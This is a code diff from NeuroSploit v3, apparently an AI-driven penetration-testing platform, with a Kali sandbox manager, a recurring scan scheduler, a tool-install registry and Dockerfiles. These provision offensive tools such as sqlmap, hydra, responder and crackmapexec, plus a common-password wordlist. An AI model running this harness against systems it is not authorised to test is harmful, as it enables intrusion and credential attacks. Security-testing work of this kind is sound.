|
||||
args: Command-line arguments
|
||||
cleanup: Whether to remove temporarily installed tools
|
||||
timeout: Max execution time in seconds
|
||||
|
||||
Returns:
|
||||
SandboxResult with stdout, stderr, findings
|
||||
"""
|
||||
if not self.is_available:
|
||||
return SandboxResult(
|
||||
tool=tool, command=f"{tool} {args}", exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error="Sandbox not available",
|
||||
)
|
||||
|
||||
# Check if tool exists
|
||||
check = await self._exec(f"which {tool} 2>/dev/null")
|
||||
if check.exit_code != 0:
|
||||
# Try to install
|
||||
ok, msg = await self.install_tool(tool)
|
||||
if not ok:
|
||||
return SandboxResult(
|
||||
tool=tool, command=f"{tool} {args}", exit_code=-1,
|
||||
stdout="", stderr=msg, duration_seconds=0,
|
||||
error=f"Install failed: {msg}",
|
||||
)
|
||||
|
||||
# Run tool
|
||||
result = await self.run_tool(tool, args, timeout=timeout)
|
||||
|
||||
# Cleanup if temporarily installed
|
||||
if cleanup and tool in self._temp_installed:
|
||||
logger.info(f"Cleaning up temporarily installed tool: {tool}")
|
||||
await self._exec(
|
||||
f"pip3 uninstall -y {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"gem uninstall -x {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"npm uninstall -g {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"rm -f $(which {shlex.quote(tool)}) 2>/dev/null",
|
||||
timeout=30,
|
||||
)
|
||||
self._temp_installed.discard(tool)
|
||||
|
||||
return result
|
||||
|
||||
async def cleanup_temp_tools(self):
|
||||
"""Remove all temporarily installed tools."""
|
||||
if not self._temp_installed:
|
||||
return
|
||||
for tool in list(self._temp_installed):
|
||||
logger.info(f"Cleaning up temp tool: {tool}")
|
||||
await self._exec(
|
||||
f"pip3 uninstall -y {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"gem uninstall -x {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"npm uninstall -g {shlex.quote(tool)} 2>/dev/null; "
|
||||
f"rm -f $(which {shlex.quote(tool)}) 2>/dev/null",
|
||||
timeout=30,
|
||||
)
|
||||
self._temp_installed.discard(tool)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Global singleton
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_manager: Optional[SandboxManager] = None
|
||||
|
||||
# Alias for backward compatibility
|
||||
LegacySandboxManager = SandboxManager
|
||||
|
||||
|
||||
async def get_sandbox(scan_id: Optional[str] = None) -> BaseSandbox:
|
||||
"""Get a sandbox instance.
|
||||
|
||||
Args:
|
||||
scan_id: If provided, returns a per-scan KaliSandbox from the container pool.
|
||||
If None, returns the legacy shared SandboxManager.
|
||||
|
||||
Backward compatible: all existing callers use get_sandbox() with no args.
|
||||
Agent passes scan_id for per-scan container isolation.
|
||||
"""
|
||||
if scan_id is not None:
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
return await pool.get_or_create(scan_id)
|
||||
except Exception as e:
|
||||
logger.warning(f"Per-scan sandbox failed ({e}), falling back to shared")
|
||||
# Fall through to legacy
|
||||
|
||||
# Legacy path: shared persistent container
|
||||
global _manager
|
||||
if _manager is None:
|
||||
_manager = SandboxManager()
|
||||
ok, msg = await _manager.initialize()
|
||||
if not ok:
|
||||
logger.warning(f"Sandbox initialization: {msg}")
|
||||
return _manager
|
||||
@@ -0,0 +1,219 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Scan Scheduler - Recurring task orchestration for NeuroSploit.
|
||||
|
||||
Supports cron expressions and interval-based scheduling for:
|
||||
- Reconnaissance scans
|
||||
- Vulnerability validation
|
||||
- Re-analysis of previous findings
|
||||
|
||||
Uses APScheduler with SQLite persistence so jobs survive restarts.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from typing import Dict, List, Optional
|
||||
from pathlib import Path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
try:
|
||||
from apscheduler.schedulers.asyncio import AsyncIOScheduler
|
||||
from apscheduler.triggers.cron import CronTrigger
|
||||
from apscheduler.triggers.interval import IntervalTrigger
|
||||
from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore
|
||||
HAS_APSCHEDULER = True
|
||||
except ImportError:
|
||||
HAS_APSCHEDULER = False
|
||||
logger.warning("APScheduler not installed. Scheduler disabled. Install with: pip install apscheduler>=3.10.0")
|
||||
|
||||
|
||||
class ScanScheduler:
|
||||
"""Manages recurring scan jobs via APScheduler."""
|
||||
|
||||
def __init__(self, config: Dict, database_url: str = "sqlite:///./data/neurosploit_scheduler.db"):
|
||||
self.config = config
|
||||
self.scheduler_config = config.get('scheduler', {})
|
||||
self.enabled = self.scheduler_config.get('enabled', False)
|
||||
self.jobs_meta: Dict[str, Dict] = {} # job_id -> metadata
|
||||
self._scan_callback = None
|
||||
|
||||
if not HAS_APSCHEDULER:
|
||||
self.enabled = False
|
||||
self.scheduler = None
|
||||
return
|
||||
|
||||
jobstores = {
|
||||
'default': SQLAlchemyJobStore(url=database_url)
|
||||
}
|
||||
self.scheduler = AsyncIOScheduler(jobstores=jobstores)
|
||||
|
||||
# Load pre-configured jobs from config
|
||||
for job_config in self.scheduler_config.get('jobs', []):
|
||||
try:
|
||||
self.add_job(
|
||||
job_id=job_config['id'],
|
||||
target=job_config['target'],
|
||||
scan_type=job_config.get('scan_type', 'quick'),
|
||||
cron_expression=job_config.get('cron'),
|
||||
interval_minutes=job_config.get('interval_minutes'),
|
||||
agent_role=job_config.get('agent_role'),
|
||||
llm_profile=job_config.get('llm_profile')
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to load scheduled job '{job_config.get('id', '?')}': {e}")
|
||||
|
||||
def set_scan_callback(self, callback):
|
||||
"""Set the callback function that executes scans.
|
||||
|
||||
The callback signature should be:
|
||||
async def callback(target: str, scan_type: str,
|
||||
agent_role: Optional[str], llm_profile: Optional[str]) -> Dict
|
||||
"""
|
||||
self._scan_callback = callback
|
||||
|
||||
def add_job(self, job_id: str, target: str, scan_type: str = "quick",
|
||||
cron_expression: Optional[str] = None,
|
||||
interval_minutes: Optional[int] = None,
|
||||
agent_role: Optional[str] = None,
|
||||
llm_profile: Optional[str] = None) -> Dict:
|
||||
"""Schedule a recurring scan job.
|
||||
|
||||
Args:
|
||||
job_id: Unique identifier for the job
|
||||
target: Target URL or IP
|
||||
scan_type: 'quick', 'full', 'recon', or 'analysis'
|
||||
cron_expression: Cron schedule (e.g., '0 */6 * * *' for every 6 hours)
|
||||
interval_minutes: Alternative to cron - run every N minutes
|
||||
agent_role: Optional agent role for AI analysis
|
||||
llm_profile: Optional LLM profile override
|
||||
"""
|
||||
if not self.scheduler:
|
||||
return {"error": "Scheduler not available (APScheduler not installed)"}
|
||||
|
||||
if cron_expression:
|
||||
trigger = CronTrigger.from_crontab(cron_expression)
|
||||
schedule_desc = f"cron: {cron_expression}"
|
||||
elif interval_minutes:
|
||||
trigger = IntervalTrigger(minutes=interval_minutes)
|
||||
schedule_desc = f"every {interval_minutes} minutes"
|
||||
else:
|
||||
return {"error": "Provide either cron_expression or interval_minutes"}
|
||||
|
||||
self.scheduler.add_job(
|
||||
self._execute_scheduled_scan,
|
||||
trigger=trigger,
|
||||
id=job_id,
|
||||
args=[target, scan_type, agent_role, llm_profile],
|
||||
replace_existing=True,
|
||||
name=f"scan_{target}_{scan_type}"
|
||||
)
|
||||
|
||||
meta = {
|
||||
"id": job_id,
|
||||
"target": target,
|
||||
"scan_type": scan_type,
|
||||
"schedule": schedule_desc,
|
||||
"agent_role": agent_role,
|
||||
"llm_profile": llm_profile,
|
||||
"created_at": datetime.now().isoformat(),
|
||||
"last_run": None,
|
||||
"run_count": 0,
|
||||
"status": "active"
|
||||
}
|
||||
self.jobs_meta[job_id] = meta
|
||||
|
||||
logger.info(f"Scheduled job '{job_id}': {target} ({scan_type}) - {schedule_desc}")
|
||||
return meta
|
||||
|
||||
def remove_job(self, job_id: str) -> bool:
|
||||
"""Remove a scheduled job."""
|
||||
if not self.scheduler:
|
||||
return False
|
||||
try:
|
||||
self.scheduler.remove_job(job_id)
|
||||
self.jobs_meta.pop(job_id, None)
|
||||
logger.info(f"Removed scheduled job: {job_id}")
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to remove job '{job_id}': {e}")
|
||||
return False
|
||||
|
||||
def pause_job(self, job_id: str) -> bool:
|
||||
"""Pause a scheduled job."""
|
||||
if not self.scheduler:
|
||||
return False
|
||||
try:
|
||||
self.scheduler.pause_job(job_id)
|
||||
if job_id in self.jobs_meta:
|
||||
self.jobs_meta[job_id]["status"] = "paused"
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to pause job '{job_id}': {e}")
|
||||
return False
|
||||
|
||||
def resume_job(self, job_id: str) -> bool:
|
||||
"""Resume a paused job."""
|
||||
if not self.scheduler:
|
||||
return False
|
||||
try:
|
||||
self.scheduler.resume_job(job_id)
|
||||
if job_id in self.jobs_meta:
|
||||
self.jobs_meta[job_id]["status"] = "active"
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to resume job '{job_id}': {e}")
|
||||
return False
|
||||
|
||||
def list_jobs(self) -> List[Dict]:
|
||||
"""List all scheduled jobs with metadata."""
|
||||
jobs = []
|
||||
if self.scheduler:
|
||||
for job in self.scheduler.get_jobs():
|
||||
meta = self.jobs_meta.get(job.id, {})
|
||||
jobs.append({
|
||||
"id": job.id,
|
||||
"name": job.name,
|
||||
"next_run": str(job.next_run_time) if job.next_run_time else None,
|
||||
"target": meta.get("target", "unknown"),
|
||||
"scan_type": meta.get("scan_type", "unknown"),
|
||||
"schedule": meta.get("schedule", "unknown"),
|
||||
"status": meta.get("status", "active"),
|
||||
"last_run": meta.get("last_run"),
|
||||
"run_count": meta.get("run_count", 0)
|
||||
})
|
||||
return jobs
|
||||
|
||||
async def _execute_scheduled_scan(self, target: str, scan_type: str,
|
||||
agent_role: Optional[str],
|
||||
llm_profile: Optional[str]):
|
||||
"""Execute a scheduled scan. Called by APScheduler."""
|
||||
job_id = f"scan_{target}_{scan_type}"
|
||||
logger.info(f"Executing scheduled scan: {target} ({scan_type})")
|
||||
|
||||
if job_id in self.jobs_meta:
|
||||
self.jobs_meta[job_id]["last_run"] = datetime.now().isoformat()
|
||||
self.jobs_meta[job_id]["run_count"] += 1
|
||||
|
||||
if self._scan_callback:
|
||||
try:
|
||||
result = await self._scan_callback(target, scan_type, agent_role, llm_profile)
|
||||
logger.info(f"Scheduled scan completed: {target} ({scan_type})")
|
||||
return result
|
||||
except Exception as e:
|
||||
logger.error(f"Scheduled scan failed for {target}: {e}")
|
||||
else:
|
||||
logger.warning("No scan callback registered. Scheduled scan skipped.")
|
||||
|
||||
def start(self):
|
||||
"""Start the scheduler."""
|
||||
if self.scheduler and self.enabled:
|
||||
self.scheduler.start()
|
||||
logger.info(f"Scheduler started with {len(self.list_jobs())} jobs")
|
||||
|
||||
def stop(self):
|
||||
"""Stop the scheduler gracefully."""
|
||||
if self.scheduler and self.scheduler.running:
|
||||
self.scheduler.shutdown(wait=False)
|
||||
logger.info("Scheduler stopped")
|
||||
@@ -0,0 +1,110 @@
|
||||
"""
|
||||
NeuroSploit v3 - Tool Installation Registry for Kali Containers
|
||||
|
||||
Maps tool names to installation commands that work inside kalilinux/kali-rolling.
|
||||
Tools grouped by method: pre-installed (base image), apt (Kali repos), go install, pip.
|
||||
"""
|
||||
|
||||
from typing import Optional, Dict
|
||||
|
||||
|
||||
class ToolRegistry:
|
||||
"""Registry of tool installation recipes for Kali sandbox containers."""
|
||||
|
||||
# Tools pre-installed in Dockerfile.kali (no install needed)
|
||||
PRE_INSTALLED = {
|
||||
# Go tools (pre-compiled in builder stage)
|
||||
"nuclei", "naabu", "httpx", "subfinder", "katana", "dnsx",
|
||||
"uncover", "ffuf", "gobuster", "dalfox", "waybackurls",
|
||||
# APT tools (pre-installed in runtime stage)
|
||||
"nmap", "nikto", "sqlmap", "masscan", "whatweb",
|
||||
# System tools
|
||||
"curl", "wget", "git", "python3", "pip3", "go",
|
||||
"jq", "dig", "whois", "openssl", "netcat", "bash",
|
||||
}
|
||||
|
||||
# APT packages available in Kali repos (on-demand, not pre-installed)
|
||||
APT_TOOLS: Dict[str, str] = {
|
||||
"wpscan": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq wpscan",
|
||||
"dirb": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq dirb",
|
||||
"hydra": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq hydra",
|
||||
"john": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq john",
|
||||
"hashcat": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq hashcat",
|
||||
"testssl": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq testssl.sh",
|
||||
"testssl.sh": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq testssl.sh",
|
||||
"sslscan": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq sslscan",
|
||||
"enum4linux": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq enum4linux",
|
||||
"nbtscan": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq nbtscan",
|
||||
"dnsrecon": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq dnsrecon",
|
||||
"fierce": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq fierce",
|
||||
"amass": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq amass",
|
||||
"responder": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq responder",
|
||||
"medusa": "apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq medusa",
|
||||
"crackmapexec":"apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq crackmapexec",
|
||||
}
|
||||
|
||||
# Go tools installed via `go install` (on-demand, not pre-compiled)
|
||||
GO_TOOLS: Dict[str, str] = {
|
||||
"gau": "github.com/lc/gau/v2/cmd/gau@latest",
|
||||
"gitleaks": "github.com/gitleaks/gitleaks/v8@latest",
|
||||
"anew": "github.com/tomnomnom/anew@latest",
|
||||
"httprobe": "github.com/tomnomnom/httprobe@latest",
|
||||
}
|
||||
|
||||
# Python tools via pip
|
||||
PIP_TOOLS: Dict[str, str] = {
|
||||
"dirsearch": "pip3 install --no-cache-dir --break-system-packages dirsearch",
|
||||
"wfuzz": "pip3 install --no-cache-dir --break-system-packages wfuzz",
|
||||
"arjun": "pip3 install --no-cache-dir --break-system-packages arjun",
|
||||
"wafw00f": "pip3 install --no-cache-dir --break-system-packages wafw00f",
|
||||
"sslyze": "pip3 install --no-cache-dir --break-system-packages sslyze",
|
||||
"commix": "pip3 install --no-cache-dir --break-system-packages commix",
|
||||
"trufflehog":"pip3 install --no-cache-dir --break-system-packages trufflehog",
|
||||
"retire": "pip3 install --no-cache-dir --break-system-packages retirejs",
|
||||
}
|
||||
|
||||
def get_install_command(self, tool: str) -> Optional[str]:
|
||||
"""Get the install command for a tool inside a Kali container.
|
||||
|
||||
Returns None if the tool is pre-installed or unknown.
|
||||
"""
|
||||
if tool in self.PRE_INSTALLED:
|
||||
return None # Already available
|
||||
|
||||
if tool in self.APT_TOOLS:
|
||||
return self.APT_TOOLS[tool]
|
||||
|
||||
if tool in self.GO_TOOLS:
|
||||
go_pkg = self.GO_TOOLS[tool]
|
||||
return (
|
||||
f"export GOPATH=/root/go && export PATH=$PATH:/root/go/bin && "
|
||||
f"go install -v {go_pkg} && "
|
||||
f"cp /root/go/bin/{tool} /usr/local/bin/ 2>/dev/null || true"
|
||||
)
|
||||
|
||||
if tool in self.PIP_TOOLS:
|
||||
return self.PIP_TOOLS[tool]
|
||||
|
||||
return None
|
||||
|
||||
def is_known(self, tool: str) -> bool:
|
||||
"""Check if we have a recipe for this tool."""
|
||||
return (
|
||||
tool in self.PRE_INSTALLED
|
||||
or tool in self.APT_TOOLS
|
||||
or tool in self.GO_TOOLS
|
||||
or tool in self.PIP_TOOLS
|
||||
)
|
||||
|
||||
def all_tools(self) -> Dict[str, str]:
|
||||
"""Return all known tools and their install method."""
|
||||
result = {}
|
||||
for t in self.PRE_INSTALLED:
|
||||
result[t] = "pre-installed"
|
||||
for t in self.APT_TOOLS:
|
||||
result[t] = "apt"
|
||||
for t in self.GO_TOOLS:
|
||||
result[t] = "go"
|
||||
for t in self.PIP_TOOLS:
|
||||
result[t] = "pip"
|
||||
return result
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,123 @@
|
||||
# NeuroSploit v3 - Kali Linux Security Sandbox
|
||||
# Per-scan container with essential tools pre-installed + on-demand install support.
|
||||
#
|
||||
# Build:
|
||||
# docker build -f docker/Dockerfile.kali -t neurosploit-kali:latest docker/
|
||||
#
|
||||
# Rebuild (no cache):
|
||||
# docker build --no-cache -f docker/Dockerfile.kali -t neurosploit-kali:latest docker/
|
||||
#
|
||||
# Or via compose:
|
||||
# docker compose -f docker/docker-compose.kali.yml build
|
||||
#
|
||||
# Design:
|
||||
# - Pre-compile Go tools (nuclei, naabu, httpx, subfinder, katana, dnsx, ffuf,
|
||||
# gobuster, dalfox, waybackurls, uncover) to avoid 60s+ go install per scan
|
||||
# - Pre-install common apt tools (nikto, sqlmap, masscan, whatweb) for instant use
|
||||
# - Include Go, Python, pip, git so on-demand tools can be compiled/installed
|
||||
# - Full Kali apt repos available for on-demand apt-get install of any security tool
|
||||
|
||||
# ---- Stage 1: Pre-compile Go security tools ----
|
||||
FROM golang:1.24-bookworm AS go-builder
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
git build-essential libpcap-dev \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
# Pre-compile ProjectDiscovery suite + common Go tools
|
||||
# Split into separate RUN layers for better Docker cache (if one fails, others cached)
|
||||
RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
RUN go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
|
||||
RUN go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
||||
RUN go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
|
||||
RUN go install -v github.com/projectdiscovery/katana/cmd/katana@latest
|
||||
RUN go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
|
||||
RUN go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
|
||||
RUN go install -v github.com/ffuf/ffuf/v2@latest
|
||||
RUN go install -v github.com/OJ/gobuster/v3@v3.7.0
|
||||
RUN go install -v github.com/hahwul/dalfox/v2@latest
|
||||
RUN go install -v github.com/tomnomnom/waybackurls@latest
|
||||
|
||||
# ---- Stage 2: Kali Linux runtime ----
|
||||
FROM kalilinux/kali-rolling
|
||||
|
||||
LABEL maintainer="NeuroSploit Team"
|
||||
LABEL description="NeuroSploit Kali Sandbox - Per-scan isolated tool execution"
|
||||
LABEL neurosploit.version="3.0"
|
||||
LABEL neurosploit.type="kali-sandbox"
|
||||
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# Layer 1: Core system + build tools (rarely changes, cached)
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
bash \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
jq \
|
||||
ca-certificates \
|
||||
openssl \
|
||||
dnsutils \
|
||||
whois \
|
||||
netcat-openbsd \
|
||||
libpcap-dev \
|
||||
python3 \
|
||||
python3-pip \
|
||||
golang-go \
|
||||
build-essential \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Layer 2: Pre-install common security tools from Kali repos (saves ~30s on-demand each)
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
nmap \
|
||||
nikto \
|
||||
sqlmap \
|
||||
masscan \
|
||||
whatweb \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy ALL pre-compiled Go binaries from builder
|
||||
COPY --from=go-builder /go/bin/nuclei /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/naabu /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/httpx /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/subfinder /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/katana /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/dnsx /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/uncover /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/ffuf /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/gobuster /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/dalfox /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/waybackurls /usr/local/bin/
|
||||
|
||||
# Go environment for on-demand tool compilation
|
||||
ENV GOPATH=/root/go
|
||||
ENV PATH="${PATH}:/root/go/bin"
|
||||
|
||||
# Create directories
|
||||
RUN mkdir -p /opt/wordlists /opt/output /opt/templates /opt/nuclei-templates
|
||||
|
||||
# Download commonly used wordlists (|| true so build doesn't fail on network issues)
|
||||
RUN wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
|
||||
-O /opt/wordlists/common.txt 2>/dev/null || true && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-medium.txt \
|
||||
-O /opt/wordlists/directory-list-medium.txt 2>/dev/null || true && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt \
|
||||
-O /opt/wordlists/subdomains-5000.txt 2>/dev/null || true && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
|
||||
-O /opt/wordlists/passwords-top1000.txt 2>/dev/null || true
|
||||
|
||||
# Update Nuclei templates
|
||||
RUN nuclei -update-templates -silent 2>/dev/null || true
|
||||
|
||||
# Health check script
|
||||
RUN printf '#!/bin/bash\nnuclei -version > /dev/null 2>&1 && naabu -version > /dev/null 2>&1 && echo "OK"\n' \
|
||||
> /opt/healthcheck.sh && chmod +x /opt/healthcheck.sh
|
||||
|
||||
HEALTHCHECK --interval=60s --timeout=10s --retries=3 \
|
||||
CMD /opt/healthcheck.sh
|
||||
|
||||
WORKDIR /opt/output
|
||||
|
||||
ENTRYPOINT ["/bin/bash", "-c"]
|
||||
@@ -0,0 +1,98 @@
|
||||
# NeuroSploit v3 - Security Sandbox Container
|
||||
# Kali-based container with real penetration testing tools
|
||||
# Provides Nuclei, Naabu, and other ProjectDiscovery tools via isolated execution
|
||||
|
||||
FROM golang:1.24-bookworm AS go-builder
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends git build-essential && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
# Install ProjectDiscovery suite + other Go security tools
|
||||
RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest && \
|
||||
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest && \
|
||||
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
|
||||
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest && \
|
||||
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
|
||||
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest && \
|
||||
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest && \
|
||||
go install -v github.com/ffuf/ffuf/v2@latest && \
|
||||
go install -v github.com/OJ/gobuster/v3@v3.7.0 && \
|
||||
go install -v github.com/hahwul/dalfox/v2@latest && \
|
||||
go install -v github.com/tomnomnom/waybackurls@latest
|
||||
|
||||
# Final runtime image - Debian-based for compatibility
|
||||
FROM debian:bookworm-slim
|
||||
|
||||
LABEL maintainer="NeuroSploit Team"
|
||||
LABEL description="NeuroSploit Security Sandbox - Isolated tool execution environment"
|
||||
|
||||
# Install runtime dependencies
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
bash \
|
||||
curl \
|
||||
wget \
|
||||
nmap \
|
||||
python3 \
|
||||
python3-pip \
|
||||
git \
|
||||
jq \
|
||||
dnsutils \
|
||||
openssl \
|
||||
libpcap-dev \
|
||||
ca-certificates \
|
||||
whois \
|
||||
netcat-openbsd \
|
||||
nikto \
|
||||
masscan \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Python security tools
|
||||
RUN pip3 install --no-cache-dir --break-system-packages \
|
||||
sqlmap \
|
||||
wfuzz \
|
||||
dirsearch \
|
||||
arjun \
|
||||
wafw00f \
|
||||
2>/dev/null || pip3 install --no-cache-dir --break-system-packages sqlmap
|
||||
|
||||
# Copy Go binaries from builder
|
||||
COPY --from=go-builder /go/bin/nuclei /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/naabu /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/httpx /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/subfinder /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/katana /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/dnsx /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/uncover /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/ffuf /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/gobuster /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/dalfox /usr/local/bin/
|
||||
COPY --from=go-builder /go/bin/waybackurls /usr/local/bin/
|
||||
|
||||
# Create directories
|
||||
RUN mkdir -p /opt/wordlists /opt/output /opt/templates /opt/nuclei-templates
|
||||
|
||||
# Download wordlists
|
||||
RUN wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
|
||||
-O /opt/wordlists/common.txt && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-medium.txt \
|
||||
-O /opt/wordlists/directory-list-medium.txt && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt \
|
||||
-O /opt/wordlists/subdomains-5000.txt && \
|
||||
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
|
||||
-O /opt/wordlists/passwords-top1000.txt
|
||||
|
||||
# Update Nuclei templates (8000+ vulnerability checks)
|
||||
RUN nuclei -update-templates -silent 2>/dev/null || true
|
||||
|
||||
# Health check script
|
||||
RUN echo '#!/bin/bash\nnuclei -version > /dev/null 2>&1 && naabu -version > /dev/null 2>&1 && echo "OK"' > /opt/healthcheck.sh && \
|
||||
chmod +x /opt/healthcheck.sh
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=10s --retries=3 \
|
||||
CMD /opt/healthcheck.sh
|
||||
|
||||
WORKDIR /opt/output
|
||||
|
||||
ENTRYPOINT ["/bin/bash", "-c"]
|
||||
@@ -12,8 +12,10 @@ RUN go install -v github.com/ffuf/ffuf/v2@latest && \
|
||||
go install -v github.com/OJ/gobuster/v3@latest && \
|
||||
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest && \
|
||||
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest && \
|
||||
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest && \
|
||||
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
|
||||
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest && \
|
||||
go install -v github.com/hahwul/dalfox/v2@latest && \
|
||||
go install -v github.com/tomnomnom/waybackurls@latest
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# NeuroSploit v3 - Kali Sandbox Build & Management
|
||||
#
|
||||
# Build image:
|
||||
# docker compose -f docker/docker-compose.kali.yml build
|
||||
#
|
||||
# Build (no cache):
|
||||
# docker compose -f docker/docker-compose.kali.yml build --no-cache
|
||||
#
|
||||
# Test container manually:
|
||||
# docker compose -f docker/docker-compose.kali.yml run --rm kali-sandbox "nuclei -version"
|
||||
#
|
||||
# Note: In production, containers are managed by ContainerPool (core/container_pool.py).
|
||||
# This compose file is for building the image and manual testing only.
|
||||
|
||||
services:
|
||||
kali-sandbox:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.kali
|
||||
image: neurosploit-kali:latest
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 2G
|
||||
cpus: '2.0'
|
||||
reservations:
|
||||
memory: 512M
|
||||
cpus: '0.5'
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
cap_drop:
|
||||
- ALL
|
||||
cap_add:
|
||||
- NET_RAW
|
||||
- NET_ADMIN
|
||||
labels:
|
||||
neurosploit.type: "kali-sandbox"
|
||||
neurosploit.version: "3.0"
|
||||
@@ -0,0 +1,51 @@
|
||||
# NeuroSploit v3 - Security Sandbox
|
||||
# Isolated container for running real penetration testing tools
|
||||
#
|
||||
# Usage:
|
||||
# docker compose -f docker-compose.sandbox.yml up -d
|
||||
# docker compose -f docker-compose.sandbox.yml exec sandbox nuclei -u https://target.com
